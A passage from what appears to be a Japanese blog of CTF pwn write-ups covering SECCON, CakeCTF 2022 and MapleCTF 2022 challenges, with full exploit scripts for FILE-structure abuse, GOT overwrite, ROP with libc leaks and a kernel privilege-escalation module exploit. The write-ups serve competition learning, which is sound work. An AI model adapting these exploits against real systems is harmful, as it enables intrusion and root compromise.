p.recvuntil(b"\x2c\x20")
libc_base=u64(p.recv(6).ljust(8, b"\x00"))-0x1f12e8
log.info("libc base is :"+hex(libc_base))
one_gadget=0xe3b01
p.sendlineafter("Which country do you live in?", cyclic(88)+p64(libc_base+one_gadget))
p.interactive()

babyfile (29 solve)

file pointerの中身を自由に書き換えることができて、fflushが自由にできる状況でシェルを取る問題。
面白いね。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);

#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)

int main(void){
	FILE *fp;

	alarm(30);

	write_str("Play with FILE structure\n");

	if(!(fp = fopen("/dev/null", "r"))){
		write_str("Open error");
		return -1;
	}
	fp->_wide_data = NULL;

	for(;;){
		switch(menu()){
			case 0:
				goto END;
			case 1:
				fflush(fp);
				break;
			case 2:
				{
					unsigned char ofs;
					write_str("offset: ");
					if((ofs = getint()) & 0x80)
						ofs |= 0x40;
					write_str("value: ");
					((char*)fp)[ofs] = getint();
				}
				break;
		}
		write_str("Done.\n");
	}

END:
	write_str("Bye!");
	_exit(0);
}

static int menu(void){
	write_str("\nMENU\n"
			"1. Flush\n"
			"2. Trick\n"
			"0. Exit\n"
			"> ");

	return getint();
}

static int getnline(char *buf, int size){
	int len;

	if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
		return -1;

	if(buf[len-1]=='\n')
		len--;
	buf[len] = '\0';

	return len;
}

static int getint(void){
	char buf[0x10] = {};

	getnline(buf, sizeof(buf));
	return atoi(buf);
}

シンプルだけど…fflushだけでシェル取れるのか?という壮大なテーマ。

ubuntu@ubuntu:~/ctf/babyfile/babyfile$ ./chall 
Play with FILE structure

MENU
1. Flush
2. Trick
0. Exit
> 1
Done.

MENU
1. Flush
2. Trick
0. Exit
> 2
offset: 123
value: 456
Done.

MENU
1. Flush
2. Trick
0. Exit

何故かPIE無効って出るけど、ちゃんとPIE有効。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

ずーっとfflushのコードを眺めながら、黒魔術連発で解いた。

まずleakについて。leakのほうが簡単だと思う。
leakするためには、_IO_write_ptrを_IO_write_baseより先に進めておけばいいのは有名な話なので、とりあえずFILE構造体を眺めてみよう。

pwndbg> p *((struct _IO_FILE_plus *)0x5555555592a0)
$1 = {
  file = {
    _flags = -72539000,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x1555554f26a0 <_IO_2_1_stderr_>,
    _fileno = 3,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x555555559380,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x1555554ee600 <_IO_file_jumps>
}

全部0じゃん。
しかもPIE有効だから、勝手に埋めることもできない。

うまい具合に、アドレスを入れるにはどうすればいいのか考える。

fflushは、fflush -> __sflush -> _IO_SYNC という経路で関数が呼ばれている。
_IO_SYNCは、vtableからのオフセットで引っ張られる関数。
したがってvtableの関数を上書きしてずらすことで、下記の関数の好きなやつを呼ぶことができる。

pwndbg> p *((struct _IO_jump_t *) 0x1555554ee600)
$2 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x155555364070 <_IO_new_file_finish>,
  __overflow = 0x155555364e40 <_IO_new_file_overflow>,
  __underflow = 0x155555364b30 <_IO_new_file_underflow>,
  __uflow = 0x155555365de0 <__GI__IO_default_uflow>,
  __pbackfail = 0x155555367300 <__GI__IO_default_pbackfail>,
  __xsputn = 0x155555363680 <_IO_new_file_xsputn>,
  __xsgetn = 0x155555363330 <__GI__IO_file_xsgetn>,
  __seekoff = 0x155555362960 <_IO_new_file_seekoff>,
  __seekpos = 0x155555366530 <_IO_default_seekpos>,
  __setbuf = 0x155555362620 <_IO_new_file_setbuf>,
  __sync = 0x1555553624b0 <_IO_new_file_sync>,
  __doallocate = 0x155555356b90 <__GI__IO_file_doallocate>,
  __read = 0x1555553639b0 <__GI__IO_file_read>,
  __write = 0x155555362f40 <_IO_new_file_write>,
  __seek = 0x1555553626f0 <__GI__IO_file_seek>,
  __close = 0x155555362610 <__GI__IO_file_close>,
  __stat = 0x155555362f30 <__GI__IO_file_stat>,
  __showmanyc = 0x1555553674a0 <_IO_default_showmanyc>,
  __imbue = 0x1555553674b0 <_IO_default_imbue>
}

色々いじると__doallocateを呼んだ後に、__underflowを呼ぶと、下記のように、
heapのアドレスが入って、いい感じになる。

gdb-peda$ p *((struct _IO_FILE_plus *) 0x56427f01b2a0)
$1 = {
  file = {
    _flags = 0xfbad2088,
    _IO_read_ptr = 0x56427f01b480 "",
    _IO_read_end = 0x56427f01b480 "",
    _IO_read_base = 0x56427f01b480 "",
    _IO_write_base = 0x56427f01b480 "",
    _IO_write_ptr = 0x56427f01b480 "",
    _IO_write_end = 0x56427f01d480 "",
    _IO_buf_base = 0x56427f01b480 "",
    _IO_buf_end = 0x56427f01d480 "",
    _IO_save_base = 0x56427f01b480 "",
    _IO_backup_base = 0x56427f01d510 "",
    _IO_save_end = 0x56427f01b480 "",
    _markers = 0x0,
    _chain = 0x7f6a7e2fb5c0 <_IO_2_1_stderr_>,
    _fileno = 0x0,
    _flags2 = 0x0,
    _old_offset = 0x0,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "",
    _lock = 0x56427f01b380,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0x0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7f6a7e2f74b0 <_IO_file_jumps+16>
}

さて、次にfflushを_IO_write_ptr、_IO_write_base, _IO_read_endの下位2バイトを変えて
heap領域の初めのほうから出力するようにする。(コードを見ながら追わないと不可能。)

heap領域には、heapアドレスとlibcアドレスが含まれているので、leakすることができる。
が、当然ASLRが有効なので、アドレス変えながら16パターンやる必要がある。

うまくリーク出来たら、次は、fflushを使って、__free_hookにsystemを書き込むことを考えよう。

['0x2e656e6f44']
['0x55b4bc5e2480', '0x55b4bc5e2480', '0x55b4bc5efe80', '0x55b4bc5e4480', '0x55b4bc5e2480', '0x55b4bc5e4480', '0x55b4bc5e2480', '0x55b4bc5e4510', '0x55b4bc5e2480', '0x7fa89316e5c0', '0x55b4bc5e2380', '0xffffffffffffffff', '0x7fa89316a4a0', '0x7fa893174580', '0x7fa893169f60', '0x2e656e6f44']
[*] heap leak:0x55b4bc5e2000 libc_leak:0x7fa892f81000
[*] Switching to interactive mode
 Done.

むしろここが難しかった。
結論からいうとvtable書き換えて __finishを呼べばできる。
「そんな回りくどいことしないで、__xsgetnとか__readとか使えよw」って思うかもしれないが、これはうまくいかないと思う。
なぜならば、libc2.31では、vtable範囲チェックが走った直後に、ここら辺の関数に飛ばされるのだが、
このvtable範囲チェックで使われた値がRSIに入っていて、うまく引数をいい感じに設定できない。
なので、なんかの関数を経由して関数を呼ぶ必要がある。と思う。

あと、重要、というか苦しんだのはvtableをずらしているから、関数を飛ばした先でもずれたvtableを使い続けるので意図した関数に飛ばない。地獄である。

さて、__finishを呼ぶと下記のように動かすことができるパスが存在する。
(当たり前だが、flagとかをうまく設定して、いらない関数に入らないように調整する必要がある)

__finish -> _IO_do_flush (実質_IO_do_write/_IO_wdo_write) -> _IO_SYSWRITE (vtableがずれてるから_uflowが呼ばれる) 
    -> _IO_SYSCLOSE (vtableがずれてるから__xsputnが呼ばれる) -> memcpy
    -> _IO_default_finish -> free
_IO_do_writeの中で、うまくほかの関数を潜り抜けると、FILE構造体のポイントが、いい感じになってくれる。そのあとに__xsputnを呼ぶことで、ようやくAAWが実現できた。
__xsputnの中には、memcpyを呼ぶ部分がある。このmemcpyを用いて、heapの中に事前に書き込んでおいたlibc systemのアドレスを、__free_hookに転記している。
そして、__finishで_IO_SYSCLOSEが終わった後に呼ばれる_IO_default_finishでfreeを呼んでいるので、__free_hook経由でlibc systemが実行される。

※:_IO_SYSWRITE (vtableがずれてるから_uflowが呼ばれる)は_uflowが呼ばれる。_uflowの中で何かが呼ばれて(忘れたw)
  *_IO_write_baseに値を代入してしまうが、flagをうまく書き換えることでバイパスできる。

下記がコードだが、複雑になりすぎた。結構連発しないと動かないと思う。

あと、通信レイテンシのせいで時間切れで回らなったので、AWSに東京インスタンスを作って回した。

しかし、こういう事情を加味して競技時間中に30秒 -> 60秒にアラームが変更されていたし、ちゃんとアナウンスされていた。
つまり、私の解法がクソだったのである。

from pwn import *

elf=ELF("/home/ubuntu/ctf/babyfile/babyfile/chall")
libc=ELF("/home/ubuntu/ctf/babyfile/babyfile/libc-2.31.so")

#p=process("/home/ubuntu/ctf/babyfile/babyfile/chall"
#          , aslr=True
#          ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/babyfile/babyfile/libc-2.31.so"} )

p=remote("babyfile.seccon.games",3157)

#gdb.attach(p)

def flush():
    p.sendlineafter(">", "1")
    return

def trick(offset, value):
    p.sendlineafter(">", "2")
    p.sendlineafter("offset:", str(offset))
    p.sendlineafter("value:", str(value))
    return

_IO_read_ptr = 0x8
_IO_read_end = 0x10
_IO_read_base = 0x18
_IO_write_base = 0x20
_IO_write_ptr = 0x28
_IO_write_end = 0x30
_IO_buf_base = 0x38
_IO_buf_end = 0x40
_IO_save_base=0x48
_fileno=0x70

_mode=0xc0
vtable = 0xd8
free_speace=0xe0

# at first we would like to set something in __IO_read_base
# in order to do so, I want to call __do_allocate_buffer

trick(0, 0x88)
trick(1, 0x20)
trick(_mode, 0x1)
trick(_IO_write_base, 0x100)
trick(_IO_read_ptr , 0x100)
trick(_fileno, 0x00)
trick(vtable, 0xa8)
flush()

# avoid _IO_doallocbuf and call _IO_underflow to set read_base
trick(_IO_write_base, 0xff)
trick(vtable, 0x60)
flush()

def getheap(base):
    trick(vtable, 0xa0)
    trick(_mode, 0x0)
    trick(_IO_write_ptr+0x1, 0xfe)
    trick(_IO_write_base, 0x00)
    trick(_IO_write_base+1, base) ## difficult
    trick(_IO_read_end, 0x00)
    trick(_IO_read_end+1, base) ## difficult
    trick(_fileno, 0x01)
    trick(0, 0x84)
    trick(1, 0x20)
    flush()
    tmp=[u64(i.strip().ljust(8, b"\x00")) for i in p.recvline().split(b"\x00") if len(i)>5]
    #print(hexdump(p.readline()))
    print([hex(i) for i in tmp])
    return tmp

# blute force to get heap/libc leak
for i in range(16):
    tmp=getheap(i*0x10)
    if len(tmp)>2:
        break

heap_leak=tmp[0]-0x480
libc_leak=tmp[len(tmp)-2]-0x1e8f60

log.info("heap leak:" + hex(heap_leak) + " libc_leak:"+hex(libc_leak))


# use finish to call puts with appropriate argument
# arbitrage RRW from _IO_write_base -> read_base
addr_system=libc_leak+libc.symbols["system"]
trick(0, 0x18)
trick(1, 0x90)

trick(_fileno, 0x04)
trick(vtable, 0x50)
trick(_mode, 0x0)
trick(_IO_read_end, 0xF)

# set system address free_space
target=addr_system
for i in range(8):
    low=target%0x100
    target = target / 0x100
    trick(free_speace+i,low)

# set binsh
target=0x68732f6e69622f
for i in range(8):
    low=target%0x100
    target = target / 0x100
    trick(free_speace+8+i,low)

# this will be argument when we call free
target = heap_leak+0x388
for i in range(8):
    low = target % 0x100
    target = target / 0x100
    trick(_IO_save_base + i, low)

# target FROM
target=heap_leak+0x380
for i in range(8):
    low=target%0x100
    target = target / 0x100
    trick(_IO_write_base+i,low)

# target TO
target=libc_leak+libc.symbols["__free_hook"]
for i in range(8):
    low=target%0x100
    target = target / 0x100
    trick(_IO_buf_base+i,low)

# target TO
target=libc_leak+libc.symbols["__free_hook"]+0x20
for i in range(8):
    low=target%0x100
    target = target / 0x100
    trick(_IO_buf_end+i,low)

flush()

p.interactive()

CakeCTF 2022 Writeup

Cake CTF 2022にsh -a ./chikuで参加しました。チームメンバーの皆さん、お疲れ様でした
pwn は4問あって、3問は開催中に、1問(crc32pwn)は開催後に解きました。

デザイン、問題の質、運営すべて最高品質で、素晴らしいイベントでした。

やっぱり最近簡単な問題しか解けないし、自分自身の成長が止まっている気がします。

ここ3年くらい、最近新しいものを見ても聞いても何も頭に入ってこないです。終わりです。
Cake MemoryもRound4が解けませんでした。Round2も結構間違えるので、Round3あたりから緊張感がすごかったです。しばらくCake Memoryで脳を鍛えようと思います。

私は、CTFを技術的な知的好奇心とかよりも、問題が解けたときの脳内麻薬だけを追い求めてる気がします。
脳内麻薬ジャンキーなのかもしれません。

str.vs.cstr (88 solve)

C++の問題。

1. set c_str
2. get c_str
3. set str
4. get str
choice: 1
c_str: AAAAAAAAA
choice: 3
str: BBBBBBBBB

正直、strとcstrの違いは詳しくわからなかったが、
いくつか試してて、本問においては下記のことが分かった。
strは短ければ文字列自体はstackにとられるようだが、
長い文字だと文字列はheap内にとられて、スタックにポインタが保存されている。
c_strは、stack内に文字列自体がとられる。

下記はstrを長めに書き込んだ後stackに残っていた情報

pwndbg> tel 0x7fffffffde30
00:0000│  0x7fffffffde30 —▸ 0x416fc0 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'
01:0008│  0x7fffffffde38 ◂— 0x92

0x416fc0 はheap内の文字列そのものが保存されている領域。
stack内にはポインタが残っている。

つまり、strで長めに書き込むことで、スタック内にポインタを作り、
c_strでstack内でBoFすれば、次のstrへの処理で
任意のアドレスへの書き込み、読み込みができる。

あとは
PIEも無効、Partial RELROなので、GOT Overwriteする。

pwndbg> checksec
[*] '/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@got.plt
を書き換えたが、これはdemanglingしたところ、
std::basic_ostream >& std::operator<< >(std::basic_ostream >&, char const*)
だったようだ。

GCC and MSVC C++ Demangler


一回目に、大きめにstrをやって、stack内にpointerを作る。
c_strでポインタを上書きする。

from pwn import *

elf=ELF("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall")

#p=process("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall"
#          , aslr=True)
p=remote("pwn1.2022.cakectf.com",9003)

#gdb.attach(p)

p.sendlineafter("choice:", str(3))
p.sendlineafter("str:", cyclic(0x30))

p.sendlineafter("choice:", str(1))
p.sendlineafter("c_str:",cyclic(0x20)+p64(0x404048))

p.sendlineafter("choice:", str(3))
p.sendlineafter("str:", p64(0x4016de))

p.interactive()

welkerme (75 solve)

初心者向けKernel Exploitの問題。

脆弱性は自明で、ioctlで任意のコードがカーネル空間で実行できる。

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  long (*code)(void);
  printk("'module_ioctl' called with cmd=0x%08x\n", cmd);

  switch (cmd) {
    case CMD_ECHO:
      printk("CMD_ECHO: arg=0x%016lx\n", arg);
      return arg;

    case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

    default:
      return -EINVAL;
  }
}

かつ、下記appendを見ればわかる通り、SMAPもSMEPもKPTIもKASLRもない。

#!/bin/sh
exec qemu-system-x86_64 \
     -m 64M \
     -nographic \
     -kernel vm/bzImage \
     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
     -no-reboot \
     -cpu qemu64 \
     -monitor /dev/null \
     -initrd vm/rootfs.cpio \
     -net nic,model=virtio \
     -net user


したがって、KROPとかも不要、KPTI trampolineもいらないし、
commit_creds(prepare_kernel_cred(NULL)); を実行して、そのままシェルを開くだけでいい。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002


void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;

int func(void) {
  prepare_kernel_cred = 0xffffffff810726e0;
  commit_creds = 0xffffffff81072540;
  commit_creds(prepare_kernel_cred(NULL));
  return 31337;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

//  ret = ioctl(fd, CMD_ECHO, 12345);
//  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);
  execl("/bin/sh", "sh", NULL);
  close(fd);
  return 0;
}


躓きやすいところでいうと、 prepare_kernel_cred とcommit_creds だが、
この問題においては、これはVMを起動した後、中でコマンドをたたけばわかる。

/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810726e0 T prepare_kernel_cred

/ # cat /proc/kallsyms | grep commit_creds 
ffffffff81072540 T commit_creds

これは私の今年の目標が半分達成したといっていいのだろうか。ダメな気もする。

本問は細かめのノウハウ、例えば、debugするために-gdb tcp::12345 を付けたり、

丁寧、かつ再利用可能な形で全てファイルに書いてあって、
インストラクションとしても、今後のツールとしても最高の問題なので、
2枚印刷して、それぞれ神棚と仏壇に飾っておこう。

exploit: exploit.c
	gcc exploit.c -o exploit -static

run: exploit
# clean up
	rm -rf vm/mount
	mkdir -p vm/mount
# copy exploit
	cd vm/mount; cpio -idv < ../rootfs.cpio
	cp exploit vm/mount/exploit
	cd vm/mount; find . -print0 \
		| cpio -o --null --format=newc --owner root > ../rootfs.cpio
# run qemu
	./run.sh

debug: exploit vm/mount
# clean up
	rm -rf vm/mount
	mkdir -p vm/mount
# copy exploit
	cd vm/mount; cpio -idv < ../debugfs.cpio
	cp exploit vm/mount/exploit
	cd vm/mount; find . -print0 \
		| cpio -o --null --format=newc --owner root > ../debugfs.cpio
# run qemu (debug port: 12345)
	./debug.sh

smal arey (42 solve)

Second Bloodだったけど、最終的にたくさん解かれてた問題。

size: 4
index: 3
value: 3735928559

例えばsize=4の時はindex=4を指定すれば、indexを上書きできてしまう。
(3735928559 = 0xdeadbeef)

0x7fffffffde50:	0x0000000000000003	0x00000000deadbeef
0x7fffffffde60:	0x0000000000000004	0x0000000000000003

そうすることで、実質任意のスタックのアドレスを書き込めてしまう。
なんだ、楽勝じゃん!って思うが、ここからが長かった。
0x7fffffffde50より下には、書き換えてもRIPをとれるアドレスがない。

基本的にexitしてしまうので、returnすることはない。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

int main() {
  long size, index, *arr;

  printf("size: ");
  if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
    exit(0);

  arr = ARRAY_NEW(size);
  while (1) {
    printf("index: ");
    if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
      exit(0);

    printf("value: ");
    scanf("%ld", &arr[index]);
  }
}

__attribute__((constructor))
void setup(void) {
  alarm(180);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

rtld_globalを書き換えたりもしたけど、なぜかRIPに影響がなかった。(なぜ?)

ということで悩んでいたけど、indexをめちゃでかい形にして、メモリアドレスを一周して
スタックの上の方の書きかえればいいのではと思った。
書き換え前

pwndbg> tel 0x7fffffffdd80 10
00:0000│  0x7fffffffdd80 ◂— 0x0
01:0008│  0x7fffffffdd88 —▸ 0x4012d2 (main+284) ◂— cmp    eax, 1
02:0010│  0x7fffffffdd90 ◂— 0x0
03:0018│  0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0
04:0020│  0x7fffffffdda0 ◂— 0x3
05:0028│  0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp    eax, 1
06:0030│  0x7fffffffddb0 ◂— 0xdeadbeef
07:0038│  0x7fffffffddb8 ◂— 0x4
08:0040│  0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0
09:0048│  0x7fffffffddc8 ◂— 0x6101b7256f1f1700

書き換え後

pwndbg> tel 0x7fffffffdd80 10
00:0000│     0x7fffffffdd80 ◂— 0x0
01:0008│     0x7fffffffdd88 ◂— 0xdeadbeef
02:0010│ rsp 0x7fffffffdd90 ◂— 0x0
03:0018│     0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0
04:0020│     0x7fffffffdda0 ◂— 0x3
05:0028│     0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp    eax, 1
06:0030│     0x7fffffffddb0 ◂— 0x7fffffffffffffff
07:0038│     0x7fffffffddb8 ◂— 0x1fffffffffffffff
08:0040│     0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0
09:0048│     0x7fffffffddc8 —▸ 0x4013e3 (__libc_csu_init+99) ◂— pop    rdi

これでEIPは取れたので、gadget使ってROPする。

from pwn import *


elf=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall")
libc=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/libc-2.31.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=process("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall"
#          , aslr=False)
p=remote("pwn1.2022.cakectf.com",9002)

#gdb.attach(p)

# AAW in stack
ret=0x0040101a
pop_rdi=0x004013e3
pop_rsi_r15=0x004013e1
pop_rbp=0x0040119d

p.sendlineafter("size:", str(5))

p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xdeadbeef))

# ROP code
p.sendlineafter("index:", str(7))
p.sendlineafter("value:", str(pop_rdi))

p.sendlineafter("index:", str(8))
p.sendlineafter("value:", str(elf.got["printf"]))

p.sendlineafter("index:", str(9))
p.sendlineafter("value:", str(pop_rbp))

p.sendlineafter("index:", str(10))
p.sendlineafter("value:", str(0x404000))

p.sendlineafter("index:", str(11))
p.sendlineafter("value:", str(ret))

p.sendlineafter("index:", str(12))
p.sendlineafter("value:", str(elf.plt["printf"]))

p.sendlineafter("index:", str(13))
p.sendlineafter("value:", str(ret))

p.sendlineafter("index:", str(14))
p.sendlineafter("value:", str(elf.symbols["main"]))

p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xffffffffffffffff))



p.sendlineafter("index:", str(0x1fffffffffffffff))
p.sendlineafter("value:", str(0x004013d6))

print(hexdump(p.recv(timeout=1)))
libc_base=u64(p.recv()[:6]+b"\x00\x00") - libc.symbols["printf"]

log.info("libc_base is "+hex(libc_base))

# libc one_gadget
p.sendline(str(5))
# over write
p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xdeadbeef))

one_gadget=0xe3b04

p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xffffffffffffffff))


p.sendlineafter("index:", str(0x1fffffffffffffff))
p.sendlineafter("value:", str(libc_base+one_gadget))
p.interactive()

crc32pwn (8 solve)

脆弱性が見つからなかった。
fstatは条件によってはRace Conditionを起こすことがあるらしいが、今回は別になさそうに見えた。
コードをみた思ったのが、stbuf.st_sizeをバグらせればよさそうだなぁと思っていたものの、
そんなファイルを作ることができませんでした。おわり。

もちろん自分では復習するのですが、ほかの方のWriteUpの以上に付加価値は出せなさそうなので書かないでおきます。

その他miscのc_sandboxに着手して、GOT上書きすれば行けそうだなーと思ったのですが、手元でコンパイルするとアドレスがずれるので諦めました。docker内でやればいいのか。そらそうかだわな。
Cake_memoryは、人力でround4をクリアできずに詰みました。heapとにらめっこしてたけど、どうしてもアドレスを見つけられなかった。。。

MapleCTF 2022 Writeup

Maple CTF 2022に参加しました。pwn は6問あって、3問は開催中に、1問(printf)は開催後に解きました。
気のせいでしょうが、デザインが懐かしのメイプルストーリーっぽい感じがして嬉しかったです。

最近、簡単な問題ばかり解いているだけのような気がします。
簡単な問題だけ解いて、満足して終わり、これでは強くなりません。
スライム倒して300年、知らないうちにレベルMAXになってましたなんて言葉がありますが、CTFはそんなに甘くないですね。
雑魚を狩る速度が上がるだけなので、ちゃんと復習しましょう。

warmup1 (190 solve)

ただのBoF。win関数もある。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup1$ ./chal 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

けどPIE有効。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   72) Symbols	  No	0		1		/home/ubuntu/ctf/maplectf/warmup1/chal


PIE有効な時は、proc baseをleakするか、partial overwriteが定石。

これはpartial overwirte。でwinに飛ばすだけ。

from pwn import *

elf=ELF("/home/ubuntu/ctf/maplectf/warmup1/chal")

p=remote("warmup1.ctf.maplebacon.org",1337)

#gdb.attach(p)

p.send(cyclic(24)+b"\x19")

p.interactive()

warmup2 (190 solve)

ただのBoF。win関数もある。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup2$ ./chal 
What's your name?
AAAAAAAAAAAA
Hello AAAAAAAAAAAA
!
How old are you?
BBBBBBBBBBBBBBBBBBBBBBB
Wow, I'm BBBBBBBBBBBBBBBBBBBBBBB
 too!

けどやっぱりPIE有効。やめてくれ。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   73) Symbols	  No	0		2		/home/ubuntu/ctf/maplectf/warmup2/chal

ところで、gdbでASLR切ってdebugしてたら変な値になってたんですけど、私だけですかね?

2回書き込めるのがポイント。一回目でcanaryのleakができる。
おまけにスタックもリークできる。

libcのleakもしないといけない。
しかも、libcは配布されてない。こういう場合はlibcのバージョンを特定する必要がある。
libcのバージョンを特定するには、下記のサイトが定石だけど
https://libc.blukat.me/
出てこなかった。古いのかな?
https://libc.rip/
こっちだと出てきた。

Results
libc6-amd64_2.28-0ubuntu1_i386
libc6_2.31-0ubuntu9.8_amd64
libc6_2.31-0ubuntu9.9_amd64

まあ、多分 libc6_2.31-0ubuntu9.9_amd64 だろう。

from pwn import *

elf=ELF("/home/ubuntu/ctf/maplectf/warmup2/chal")

p=remote("warmup2.ctf.maplebacon.org",1337)

#gdb.attach(p)

p.sendafter("What's your name?",cyclic(0x108)+b"\x41")
print(hexdump(p.recvline()))
p.recv(0x10f)
canary=u64(b"\x00"+p.recv(7))
log.info("canary is " + hex(canary))

stack_leak=u64(p.recv(6)+b"\x00\x00")
log.info("stack is " + hex(stack_leak))

p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+b"\xd8")

#  leak proc base
p.sendafter("What's your name?",cyclic(0x118))
print(hexdump(p.recvline()))
p.recv(0x11e)
proc_base=u64(p.recv(6)+b"\x00\x00")-0x12e2
log.info("proc_base is " + hex(proc_base))

# leak libc
pop_rdi=proc_base+0x00001353
got_puts=proc_base+elf.got["__stack_chk_fail"] # 0x7f497c08da70
plt_puts=proc_base+elf.plt["puts"]
ret=proc_base+0x0000101a
p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)
            +p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(ret)+p64(proc_base+0x12d8))
p.recvline()
p.recvline()
libc_base=u64(p.recv(6)+b"\x00\x00") - 0x12fa70

log.info("libc_base is " + hex(libc_base))

# go to libc one_gadget
system=0x52290
binsh=stack_leak+0x38
p.sendafter("What's your name?",cyclic(0x10))
p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc_base+system)+"/bin/sh".encode()+b"\x00")
p.interactive()

no flag 4 u (38 solve)

個人的には、warmup2のほうがこれより難しかった。

ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/noflag4u$ ./chal 
1 : Create page
2 : Edit page
3 : Print page
4 : Delete page
5 : Exit


PIE無効。やったね。

pwndbg> checksec
[*] '/home/ubuntu/ctf/maplectf/noflag4u/chal'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

よくわからないが、libcみたいのが一緒に配布されていて、一部の関数が上書きされているようだ。

 1 : Create page
2 : Edit page
3 : Print page
4 : Delete page
5 : Exit
1
index: 0
